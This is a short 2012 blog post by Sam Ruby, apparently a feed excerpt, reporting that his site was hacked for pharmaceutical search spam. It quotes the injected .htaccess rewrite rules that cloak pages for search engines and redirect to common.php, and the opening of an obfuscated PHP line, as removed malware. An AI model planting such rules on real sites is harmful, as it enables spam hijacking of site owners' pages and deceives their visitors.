Sam Ruby: Hacked

Sam Ruby: Hacked

Hacked Mon 02 Apr 2012 at 11:16 This site was hacked. A reader of the site noted that Google’s index of this site had been co-opted by dubious pharmaceutical offerings. I’ll gladly thank that individual publicly if they give me permission to do so; but my email reply got bounced as spam. The immediate culprit was the addition of the following lines to a number of .htaccess files: <IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{HTTP_USER_AGENT} (google|yahoo) [OR] RewriteCond %{HTTP_REFERER} (google|aol|yahoo) RewriteCond %{REQUEST_URI} /$ [OR] RewriteCond %{REQUEST_FILENAME} (html|htm|php)$ [NC] RewriteCond %{REQUEST_FILENAME} !common.php RewriteRule ^.*$ /common.php [L] </IfModule> I removed those lines, as well as the common.php file, and scanned any and all php files on my site. I saw the addition of lines such as the following: $FYAqxDo='p'.'r'. 'eg_repl'. 'ace...

Full article: http://www.intertwingly.net/blog/2012/04/02/Hacked